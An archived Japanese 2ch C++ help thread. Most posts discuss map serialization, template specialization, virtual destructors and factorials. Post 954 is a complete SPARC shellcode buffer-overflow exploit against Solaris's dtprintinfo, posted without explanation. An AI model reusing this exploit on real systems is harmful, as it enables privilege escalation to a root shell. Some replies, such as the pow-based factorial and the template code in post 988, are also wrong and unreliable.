5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

C++相談室 part7

1 :デフォルトの名無しさん:02/05/19 14:43
(´∀`).。o(関連URLは>>2-5の辺り)

952 :デフォルトの名無しさん:02/06/24 23:00
>>951
いえ、Delphiです

953 :デフォルトの名無しさん:02/06/24 23:08
M$まんせー(TーT)

954 :デフォルトの名無しさん:02/06/24 23:08
#define ADJUST 0
#define OFFSET 1144
#define STARTADR 724
#define BUFSIZE 900
#define NOP 0xa61cc013

static char x[1000];
unsigned long ret_adr;
int i;

char exploit_code[] =
"\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

main()
{
putenv("LANG=");
for (i = 0; i < ADJUST; i++) x[i]=0x11;
for (i = ADJUST; i < 900; i+=4){
x[i+3]=NOP & 0xff;
x[i+2]=(NOP >> 8 ) &0xff;
x[i+1]=(NOP >> 16 ) &0xff;
x[i+0]=(NOP >> 24 ) &0xff;
}
for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
ret_adr=get_sp()-OFFSET;
printf("jumping address : %lx\n",ret_adr);
if ((ret_adr & 0xff) ==0 ){
ret_adr -=16;
printf("New jumping address : %lx\n",ret_adr);
}
for (i = ADJUST; i < 600 ; i+=4){
x[i+3]=ret_adr & 0xff;
x[i+2]=(ret_adr >> 8 ) &0xff;
x[i+1]=(ret_adr >> 16 ) &0xff;
x[i+0]=(ret_adr >> 24 ) &0xff;
}
x[BUFSIZE]=0;
execl("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",x,(char *) 0);
}

955 :デフォルトの名無しさん:02/06/24 23:27
トローイ

956 :デフォルトの名無しさん:02/06/25 00:59
mapを使ったプログラムを書こうとしてるんですけど、
メモリ内にあるデータをぜんぶディスクに書き出したり、逆に読み出したり
するにはどのようにしたらいいのでしょうか。


957 :デフォルトの名無しさん:02/06/25 01:06
>>956
ifstream、ofstream、first()、second()、std::map::iterator、begin()、end()

958 :デフォルトの名無しさん:02/06/25 01:49
firstとかsecondとかいらない。
普通にfor_eachとかcopyを使って書き出せる

959 :デフォルトの名無しさん:02/06/25 02:44
>>958
どーやるの?

960 :デフォルトの名無しさん:02/06/25 07:21
fwrite

961 :デフォルトの名無しさん:02/06/25 09:42
ostream::write(NULL, 0);

962 :デフォルトの名無しさん :02/06/25 10:19
>>943
テンプレートの解釈と処理に関しては、まずコンパイル時に
二段階の手順があると考えると分かりやすいです。
1 部分的特殊化された中からのテンプレートクラスの選択
2 テンプレートパラメータを解釈してクラスを生成

そして2の部分ですが、これはtemplate<class T1, class T2>の
ように、クラス内において使用時までそれが決定されない要素を
記述しておいて、実際に型をもらい受けたらクラスを生成します。
テンプレートクラスにおける未定義の要素を記述する"だけ"だと
考えていいと思います。

で、1ですがこれは943さんが書いている通り、
template<>class<決定済みの型>
と書いてある部分的特殊化されたクラスの一覧から最適なものを選ぶ
わけですが、この選択方法の詳細は正直あまりよく分かってません(w
とりあえず、上の例に照らし合わせて何かいうとしたら、
template <typename T1,typename T2> class B{}; ←(a)
template <typename T1,typename T2> class B<T1,A<T2> >{}; ←(b)
(a)はBの実体化集合の全てを意味します。特殊化されない場合は
このテンプレートクラスが選択されるというわけです。
(b)が意味しているのは二つ目のテンプレートパラメータが、
クラス Aというテンプレートパラメータを一つ受け取る型を受けたときに
選択されるということになります。
具体例としては B<int, A<int> > b; こんな時に選択されます。


上の解釈はいい加減なのでつっこみ待ってます: )

963 :デフォルトの名無しさん:02/06/25 10:23
×特殊化されない場合
○特殊化されたテンプレートクラスにマッチしない場合

964 :962:02/06/25 10:52
ModernC++Designの2.2にはもっと分かりやすい説明がありました(ワラ
関数にはテンプレートの部分的特殊化は適応されないのですが、
それをオーバーロードで代用する方法も載っていて面白いです。
是非一読をお薦めします

965 :962:02/06/25 13:20
訂正:
汎用テンプレートはなくてもいいみたいです。

template<int>class A{}; ←(a)
tempalte<>class A<3>{}; ←(b)
こういうのもありみたいです(^^;
template<class T>class A{};という汎用テンプレートは
必要ないし、エラーになります!

A<3> a;とすれば(b)が選択されます。
A<3>というケースしか認めないようにしたい場合は
(a)を削除するのではなく(そうするとエラーになる)、
template<int>class A; と(a)変更するればいいみたいです。
(ModernC++Design Page:x より)

テンプレートパラメータが<class T>のように汎化のときには
具体的な型で特殊化。テンプレートパラメータとして
プリミティブ型が指定されているときには、定数値で特殊化。
といった感じでしょうか。


あと紛らわしいのは、
template<template<class>class T>class A{}; という形。
これは汎用テンプレートです。これは特殊化とは関係なく、
テンプレートパラメータとして受取る型を「テンプレートパラメータを一つ
受取るテンプレートクラス」に限定するよう機能します。
<class>とテンプレートパラメータを省略できるのは、
それをクラス内において使用できないことに理由があるみたいです。


引き続きつっこみ待ってます: )

966 :962:02/06/25 15:09
補足:

当然汎用テンプレートを二つ宣言することはできません。
template<class T>class A{};
template<class T1,class T2>class A{};
template<template<class>class T>class A{};
こういうのは当然エラーです。どれか一つしか使えません。

ただしこれはテンプレートパラメータの数が同じでなくてはいけないという
意味ではないようです。部分的特殊化をする部位において、
汎用テンプレートと同じパラメータ数になっていればOKらしいです。
LokiのFunctorImplが参考になります。
汎用テンプレートにおいてパラメータの個数を、
template<class T1, class T2> (この場合は二個)のようにして指定しますが、
部分的特殊化されたクラスにおいては同様の場所は
パラメータの数が同じである必要はありません。

ただし一つ重要なことにパラメータは部分的特殊化部位
class A<xxx,yyy> において全て使わなくてはなりません。


あと上でテンプレートパラメータのテンプレートパラメータを使うことは
できないと書きましたが、それはある一面においては間違いです。
FunctorImplにおいて、
template <typename R, typename P1, template <class> class ThreadingModel>
class FunctorImpl<R, TYPELIST_1(P1), ThreadingModel>
となっている部分において、P1をクラス内で使うために取り出しています。
もちろん上のThreadingModelのパラメータは使うことはできません。


引き続きつっこみお待ちしております: )_

967 :デフォルトの名無しさん:02/06/25 17:39
設計に関する質問です。

コンストラクタでメモリをアロケートする様な場合、
それが失敗した場合は例外をスルーするのが一般的でしょうか?
みなさんはどう設計しますか??

968 :デフォルトの名無しさん:02/06/25 17:44
>>967
正解です。

969 :デフォルトの名無しさん:02/06/25 17:51
スロー

970 :デフォルトの名無しさん:02/06/25 17:57
質問するのであります。

デストラクタに関してであります。

なんで、デストラクタは virtual のほうがよいの?

継承後のクラスのデストラクタで、親のデストラクタを呼ぶのじゃだめ???


971 :デフォルトの名無しさん:02/06/25 17:59
>>970
そもそも継承後のデストラクタ自体が呼ばれないのでダメ

972 :デフォルトの名無しさん:02/06/25 18:01
>>970
virtual宣言されてないと、継承したデストラクタを呼び出してくれないから。

973 :デフォルトの名無しさん:02/06/25 18:07
970 の使い方だとたぶん virtual は不要だと思われ。
つか、親デストラクタは勝手に呼ばれます。

974 :デフォルトの名無しさん:02/06/25 18:13
>>973
親のデストラクタしか呼ばれないってところに問題があるんじゃないのか。

975 :デフォルトの名無しさん:02/06/25 18:14
>>970
ヒント 多態

976 :デフォルトの名無しさん:02/06/25 18:18
970は多態を知らないので継承したデストラクタも問題なく呼ばれます

977 :デフォルトの名無しさん:02/06/25 18:25
継承したオブジェクトからだと問題なく継承先のデストラクタは呼ばれる。

しかし、親のポインタからデストラクタを呼び出した場合、指している先が
継承した子のオブジェクトである場合、virtual宣言されていないと継承先
のデストラクタは呼んでくれない。

978 :デフォルトの名無しさん:02/06/25 18:27
>>970
コンストラクタとデストラクタの実行順が問題になる。
コンストラクタは親→子の順で実行される。
コアが最初にできて段々大きくなっていくイメージ。

デストラクタは子から呼ばれる。
段々小さくなっていき最後にはなにもなくなってしまうイメージ。
たまねぎを想像しる。

979 :デフォルトの名無しさん:02/06/25 18:33


980 :デフォルトの名無しさん:02/06/25 19:36
ところで 950 は次スレよろしく。

981 :デフォルトの名無しさん:02/06/25 19:55
終わりで良いよ

982 :970:02/06/25 20:15
>>975
>>976
多態がやっとわかったきがします。


>>977
ということは、親のポインタを delete した場合のために必要ってことでしょうか?

つまり、親クラスとしてA、子クラスとしてB,Cがあるとします。
子クラスを入れた親クラスのポインタを delete することで、B,Cを区別なく delete できるってことですね。

おかげで、わかりました。
ありがとうございます。
1つ賢くなった!


983 :aaaa:02/06/25 20:43
nの階乗を計算するプログラムの書き方が分かりません。
誰か頼みます。m(_ _)m

984 :デフォルトの名無しさん:02/06/25 20:45
>>983
C++関係ね〜じゃね〜かよ

for 使え。




985 :デフォルトの名無しさん:02/06/25 20:48
「多態」ってなんて読むの?

986 :デフォルトの名無しさん:02/06/25 20:50
>>985
それで、ポリモーフィズムと読む


987 :デフォルトの名無しさん:02/06/25 21:01
>>983
a = pow(b, c);

988 :デフォルトの名無しさん:02/06/25 21:12
>>983 C++らしい階乗の求め方はこうやります。但しnは実行時に
わかってないといけないですが。

#include <iostream>
using namespace std;

template <int N>
class Factorial {
public:
enum {value = N * Factorial<N - 1>::value};
};

class Factorial<1>
{
public:
enum {value = 1};
};

int main()
{
Factorial<10> f;

cout << f.value << endl;
}

989 :デフォルトの名無しさん:02/06/25 21:25
assert(983 == 988)

990 :デフォルトの名無しさん:02/06/25 21:29
>>987が気になる。

991 :デフォルトの名無しさん:02/06/25 21:31
>>988
超ガイシュツだし、今更カコワルイ。
しかも、いちいちインスタンス生成してるのがダサ過ぎる。
さらに整数しか扱えないと言うダメさ。

992 :デフォルトの名無しさん:02/06/25 21:38
>>990
>>987は恐らく階乗と累乗をごちゃ混ぜにしているのではないかと
小一時間。

993 :デフォルトの名無しさん:02/06/25 21:47
>>991
整数以外の階乗の計算方法も超ガイシュツなんですか。とっても知りたい。
>>987と同類か?


994 :デフォルトの名無しさん:02/06/25 21:57
整数以外に階乗ってできるのか???
6.392!とか!?


995 :デフォルトの名無しさん:02/06/25 21:58
実数の階乗はあるらしい。

996 :デフォルトの名無しさん:02/06/25 21:59
>>995
スターリンの公式なんてオチはなしよ。

997 :デフォルトの名無しさん:02/06/25 22:01
さあ?ぐぐったら「実数の階乗式もあるらしく」って出てきただけ。

998 :デフォルトの名無しさん:02/06/25 22:03
1000!

999 :デフォルトの名無しさん:02/06/25 22:03
1000! 

1000 :デフォルトの名無しさん:02/06/25 22:04
1000!  

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

246 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)